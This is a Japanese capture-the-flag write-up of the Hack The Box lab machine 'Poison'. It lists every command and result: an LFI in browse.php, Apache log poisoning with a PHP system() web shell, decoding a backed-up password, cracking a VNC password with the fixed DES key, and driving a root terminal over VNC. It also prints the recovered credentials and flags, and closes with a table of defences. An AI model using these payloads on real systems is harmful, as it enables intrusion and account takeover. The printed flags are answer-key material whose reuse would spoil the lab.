Hack The BoxのWriteup(Poison)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Poison — 全実行コマンド・実行結果レポート
Nmap スキャン
22(ssh)/80(http)
browse.php LFI発見
絶対パス指定可能
User-Agentログポイズニング
単一引用符ペイロード
LFI経由RCE (www)
uid=80(www) gid=80(www)
pwdbackup.txt 13重base64復号
charixのSSHパスワード
user.txt ✓
secret.zip→固定DES鍵でVNC復号
SSHトンネル+vncdotool打鍵
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80 10.129.57.180
RESULT (実データ)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Webアプリの確認

BASH
curl -sI http://10.129.57.180/
curl -s http://10.129.57.180/
RESULT (実データ)
Server: Apache/2.4.29 (FreeBSD) PHP/5.6.32

<h1>Temporary website to test local .php scripts.</h1>
Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php

<form action="/browse.php" method="GET">
	Scriptname: <input type="text" name="file"><br>
	<input type="submit" value="Submit">
</form>
🚨
browse.php がテスト用スクリプト名をクエリパラメータ file で 直接受け取る作りになっている。「ローカルの.phpスクリプトをテストする」という説明文が 示唆する通り、ファイルパスの検証が不十分なLFI脆弱性が強く疑われる。
PHASE 2

LFI 脆弱性の確認

絶対パス指定でLFIを確認

BASH
curl -s "http://10.129.57.180/browse.php?file=%2Fetc%2Fpasswd"
RESULT (実データ、抜粋)
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
...
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh
LFI確定。 $FreeBSD$ コメントからOSがFreeBSDであることを確認、 かつ一般ユーザー charix の存在を発見(後のSSHログイン対象)。 ログインシェルが /bin/csh である点は、後のPhase 5で POSIXシェル前提のコマンド(2>/dev/null等)が意図通り動かない 原因になるため覚えておく必要がある。
PHASE 3

User-Agent ログポイズニングによる RCE

攻撃の原理

NOTE
Apacheはアクセスログ(本機では /var/log/httpd-access.log)に、リクエストの
User-Agentヘッダの値をそのまま(サニタイズせず)書き込む。攻撃者が
User-Agentに `<?php system($_GET['c']); ?>` のようなPHPコードを送信すると、
その文字列がログファイルに記録される。browse.phpのLFI(file=パラメータを
そのままinclude()に渡す実装)で `browse.php?file=/var/log/httpd-access.log`
とすると、ログの中に紛れ込んだPHPコードがサーバー側で実行される
(「ログポイズニング」と呼ばれる古典的なLFI→RCE昇格テクニック)。

User-Agent経由でペイロードを注入

BASH (実際に使用したコマンド)
curl -s --max-time 10 -A "<?php system(\$_GET['c']); ?>" http://10.129.57.180/
🚨
クォート問題(単一引用符 vs 二重引用符): Apacheのcombinedログ形式は User-Agentフィールドを二重引用符で囲んで記録するため、フィールド値自体に 含まれる二重引用符は、ログファイル内で\"にエスケープされて書き込まれる。 ペイロードに$_GET["c"]のように二重引用符を使うと、ログに書き込まれた時点で $_GET[\"c\"]に変化してしまい、include()時にPHPの構文エラーに なる(この問題は本検証の別インスタンスで実際に踏み抜き、詳しくは本レポート末尾の 「教訓」で解説)。対策: ペイロードには単一引用符 $_GET['c'] を使うこと。単一引用符はApacheのログエスケープ対象外のため、 ログに書き込まれても無傷のまま残る。

RCEの確認(sentinelマーカーで出力を厳密に切り出す)

BASH (実際に使用したコマンド)
curl -s --max-time 90 -G \
  --data-urlencode "file=/var/log/httpd-access.log" \
  --data-urlencode 'c=echo POISON99START; id; echo POISON99END' \
  http://10.129.57.180/browse.php
ℹ️
browse.php?file=/var/log/httpd-access.logのレスポンス本文には、 インクルード時点までのアクセスログ全体(繰り返し検証するほど肥大化し、 本検証では最終的に4万行超)がそのまま先頭に含まれ、直後に今回のコマンドの標準出力が インラインで挿入される。単純に正規表現でbase64っぽい部分文字列を探すやり方は、 巨大なログ中の無関係な文字列と誤って競合するリスクがあるため、 echo POISON99START; <cmd>; echo POISON99ENDのようにsentinel文字列で コマンド出力の開始・終了を明示的に区切り、その間だけを確実に切り出す方式にした。
RESULT (実データ)
uid=80(www) gid=80(www) groups=80(www)
RCE成功! Apache Webサーバーの実行ユーザー(www)権限で 任意コマンド実行を確立した。
⚠️
ログ肥大化によるタイムアウトに注意: ログポイズニングは同じターゲットに 繰り返しテストするほど遅くなっていく。アクセスログへの追記(特にgobusterのような ディレクトリ探索ツールは1回で数千行の404エントリを一気に追加する)によりファイルが 肥大化し続けるため、include()自体に要する時間が伸び、短いタイムアウトでは sentinelマーカーへ到達する前にレスポンスが打ち切られてしまう(本検証で実際に 30秒タイムアウトを踏み抜いた後、90秒に延長して解決した)。
PHASE 4

pwdbackup.txt 復号 → SSH → user.txt

RCE経由でpwdbackup.txtを取得

BASH (実際に使用したコマンド)
curl -s --max-time 90 -G \
  --data-urlencode "file=/var/log/httpd-access.log" \
  --data-urlencode 'c=echo POISON99START; cat pwdbackup.txt; echo POISON99END' \
  http://10.129.57.180/browse.php
ℹ️
pwdbackup.txtはWebルート直下に残置されたパスワードバックアップファイル。 先頭に平文の説明コメント行(“This password is secure, it’s encoded atleast 13 times.. what could go wrong really..”)があり、その後に base64を13回繰り返しエンコードした本体が複数行に折り返されて 続く構成になっている。

複数行base64の抽出と13重デコード

PYTHON
import base64, re

# 行ごとに厳密なbase64文字集合[A-Za-z0-9+/=]に一致する行だけを抽出。
# 先頭の平文コメント行(スペースやアポストロフィを含む)は自動的に除外される。
lines = [l.strip() for l in pwd_out.splitlines()]
b64_lines = [l for l in lines if l and re.fullmatch(r'[A-Za-z0-9+/=]+', l)]
data = "".join(b64_lines)

for _ in range(13):
    data = base64.b64decode(data + "=" * (-len(data) % 4)).decode("utf-8")
print(data)
🚨
抽出の落とし穴: 単純に全ての空白・改行を除去して1本の文字列に結合すると、 先頭の平文コメント行の単語間スペースまで消えてしまい(“This password is secure”が “Thispasswordissecure”のように連結され)、base64データの前に不正な文字列が混入して デコードに失敗する。行ごとに base64 の文字集合だけに一致するか判定してから 結合することで、平文コメント行・空行を確実に除外しつつ、複数行にまたがる 本体のbase64データを正しく1本に連結できる。
RESULT (実データ)
pwdbackup.txt 復号成功: charix:Charix!2#4%6&8(0

SSHログイン → user.txt

BASH (実際に使用したコマンド)
sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.129.57.180 cat /home/charix/user.txt
RESULT (実データ)
eaacdfb2d141b72a589233063604209c
pwdbackup.txtの復号結果がそのままcharixのSSHログインパスワードになっている (パスワード使い回し)。
user.txt — charix
eaacdfb2d141b72a589233063604209c
PHASE 5

secret.zip → VNC固定鍵復号 → vncdotool打鍵 → root.txt

secret.zip の取得(FreeBSDにはGNU coreutilsのbase64が無い)

BASH (実際に使用したコマンド)
sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.129.57.180 \
  openssl base64 -in /home/charix/secret.zip > secret.zip.b64
base64 -d secret.zip.b64 > secret.zip   # Kali側(GNU coreutils)でデコード
🚨
落とし穴: FreeBSDにGNU coreutils由来の base64 コマンドが存在しない。 単純にbase64 /home/charix/secret.zipを実行しようとすると base64: Command not found.というエラーになり、そのエラーメッセージ文字列を そのままbase64デコードしようとしてIncorrect paddingで失敗する (charixのシェルは/bin/cshで、cshにも組み込みのbase64相当は無い)。 FreeBSDのベースシステムにはopenssl base64 -in <file>が常備されており、 uuencode形式のヘッダ/フッタを付与するb64encodeと違って、 GNU版と同じ純粋なbase64ストリームを出力するため、そのまま置き換えて使える。
BASH
# secret.zipはcharixのSSHパスワードと同じパスワードで保護されている
unzip -P 'Charix!2#4%6&8(0' secret.zip -d extracted/
ℹ️
展開すると secret という名前のバイナリファイルが得られる。これは VNC(Virtual Network Computing)で使われる難読化済みパスワードファイル

VNC固定DES鍵での復号

NOTE
VNC(RFBプロトコル)のパスワード難読化方式は、暗号学的に安全な暗号化ではなく、
仕様上公開されている固定のDES鍵(0xe84ad660c4721ae0)でパスワードを
暗号化しているだけ。ブルートフォース不要で、この既知の鍵を使えば誰でも即座に
復号できる、という設計上の弱点(実質的なバックドア)。
PYTHON
from Crypto.Cipher import DES

VNC_DES_KEY = bytes.fromhex("e84ad660c4721ae0")
data = open("extracted/secret", "rb").read()[:8]
cipher = DES.new(VNC_DES_KEY, DES.MODE_ECB)
plain = cipher.decrypt(data)
vnc_password = plain.split(b"\x00")[0].decode()
print(vnc_password)
RESULT (実データ)
VNC 平文パスワード復号成功: VNCP@$$!

SSHローカルポートフォワードでVNCへ到達

NOTE
rootのVNCサーバーは127.0.0.1:5901限定でLISTENしており、外部から直接
接続できない。charixのSSHセッション上でローカルポートフォワードを
確立し、Kali側のローカルポート経由でアクセスする。
BASH
sshpass -p 'Charix!2#4%6&8(0' ssh -N -L 5901:127.0.0.1:5901 charix@10.129.57.180 &

vncdotoolでroot xtermに打鍵しroot.txt取得

NOTE
root権限のVNCセッションには、既にログイン済みのxterm(ターミナル)が
開いた状態で待機している。vncdotoolでそのxtermの表示位置をクリックして
フォーカスを合わせ、コマンドを打鍵する。
BASH (実際に使用したコマンド)
vncdo -s 127.0.0.1::5901 -p 'VNCP@$$!' -t 30 \
  move 150 100 \
  click 1 \
  pause 1 \
  type "cp /root/root.txt /home/charix/root.txt && chmod 644 /home/charix/root.txt" \
  key enter \
  pause 2 \
  capture screenshot.png
RESULT (実際のスクリーンショット、実データ)
root@Poison:~# cp /root/root.txt /home/charix/root.txt && chmod 644 /home/charix/root.txt && echo VNC_COPY_DONE
VNC_COPY_DONE
root@Poison:~# ▮
クリック座標がxtermウィンドウ内に正しく命中し、コマンドがrootの対話シェルへ 打鍵・実行された。実際に開いていたVNCデスクトップのスクリーンショットで VNC_COPY_DONEの出力を確認済み(loot/poison_vnc_capture.png)。

SSH経由でフラグ回収(csh の落とし穴)

BASH (実際に使用したコマンド)
sshpass -p 'Charix!2#4%6&8(0' ssh charix@10.129.57.180 sh -c 'cat /home/charix/root.txt 2>/dev/null'
🚨
落とし穴: charixのログインシェル(csh)はPOSIXの 2> ファイル ディスクリプタ番号リダイレクトを解釈できない。 単にcat /home/charix/root.txt 2>/dev/nullとSSH経由で実行すると、 csh はこの構文を認識せず「2」をcatへの 独立した引数(=別のファイル名)として渡してしまい、 cat: 2: No such file or directoryという無関係なエラーになる上、 意図した標準出力の抑制も効かず>/dev/nullで肝心のroot.txtの 中身まで巻き添えで捨てられてしまう。対策: ログイン先のシェルに 依存せず確実にPOSIXシェルでコマンドを解釈させるため、 sh -c '<cmd>'で明示的にラップする。
RESULT (実データ)
716d04b188419cf2bb99d891272361f5
root.txt — root
716d04b188419cf2bb99d891272361f5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — charix
eaacdfb2d141b72a589233063604209c
root.txt — root
716d04b188419cf2bb99d891272361f5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LFI + Apacheアクセスログポイズニング browse.php?file= パラメータ リモートコード実行 (www) Critical User-Agentヘッダに単一引用符版PHPペイロードを注入しアクセスログをincludeさせRCE
多重base64エンコードによる擬似難読化 pwdbackup.txt 認証情報漏洩 Medium 13回のbase64デコードで平文SSHパスワードを復元
VNC固定DES鍵によるパスワード難読化 secret.zip 内の “secret” ファイル 権限昇格 (root VNCセッションの乗っ取り) High 公開既知の固定DES鍵でVNCパスワードを即座に復号、SSHトンネル経由でroot xtermを操作

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(ssh)/80(http)、FreeBSD確認
2脆弱性発見browse.php?file=の絶対パスLFI確認charixユーザー発見、ログインシェルcsh
3RCEUser-Agentログポイズニング(単一引用符)+sentinel抽出uid=80(www)権限のRCE確立
4初期侵入pwdbackup.txt複数行base64 13重復号+SSHuser.txt 取得
5権限昇格openssl base64+VNC固定鍵復号+vncdotool+sh -croot.txt 取得

ライブ検証で発見した5つの実装バグ(教訓)

#問題原因対策
1 ログポイズニングペイロードがPHP構文エラーになる Apacheのcombinedログ形式がUser-Agent内の二重引用符を\"にエスケープして記録する ペイロードには単一引用符 $_GET['c'] を使う
2 一度壊れたペイロードを送るとそのインスタンスで恒久的に機能しなくなる PHPはinclude()時にファイル全体を先にコンパイルするため、追記専用のログのどこかに構文エラーが残っていると以降ずっと失敗する 1回目で必ず正しい構文にする。壊してしまったら新しいインスタンスで再試行するしかない(本検証では実際に別インスタンス10.129.1.254でこれを踏み抜き、教訓として確認した)
3 base64: Command not found.のエラー文字列をデコードしようとして失敗 FreeBSDのベースシステムにGNU coreutils由来のbase64コマンドが存在しない openssl base64 -in <file>を使う(GNU版と同じ純粋なbase64ストリームを出力)
4 pwdbackup.txtの13重デコードが途中で失敗する ファイル先頭の平文コメント行(スペース含む)と複数行に折り返された本体を、単純な全空白除去や1行限定の正規表現では正しく処理できない 行ごとにbase64文字集合[A-Za-z0-9+/=]への完全一致で判定し、該当する行だけを結合する
5 cat: 2: No such file or directoryという無関係なエラーが出てroot.txtが読めない charixのログインシェル(csh)がPOSIXの2>ファイルディスクリプタリダイレクトを解釈できない sh -c '<cmd>'で明示的にPOSIXシェルをラップする
ℹ️
加えて、同じターゲットへの繰り返しテストでアクセスログが肥大化し(本検証では最終的に 4万行超)、RCE確認・pwdbackup取得のリクエストが短いタイムアウト(20秒)では 完了しなくなる問題も発生し、タイムアウトを90秒へ延長して解決した。 ログポイズニング系のLFI攻略は、繰り返し検証するほど徐々に遅くなっていく点に注意。

学んだ教訓 & 防御策

問題点防御策
ユーザー入力(file=パラメータ)を検証せずinclude()に渡している インクルードするファイル名はホワイトリスト方式で検証する。ユーザー入力を直接ファイルシステム操作関数に渡さない。
Webサーバーのアクセスログにユーザー制御可能な値(User-Agent等)がサニタイズなしで記録される アクセスログをinclude可能な場所に置かない、あるいはWebプロセスからのログファイル読み取り権限を制限する。
多重base64エンコードという実質的に無強度の”難読化”でパスワードを保管 パスワードは平文は元よりXOR/base64のような可逆な難読化でも保管しない。bcrypt/argon2等の一方向ハッシュを使う。
VNCの固定DES鍵という業界仕様上の既知の弱点をそのまま利用 VNC単体のパスワード認証に依存せず、SSHトンネル経由限定でのアクセスに制限する。
HackTheBox: Poison | 完全攻略レポート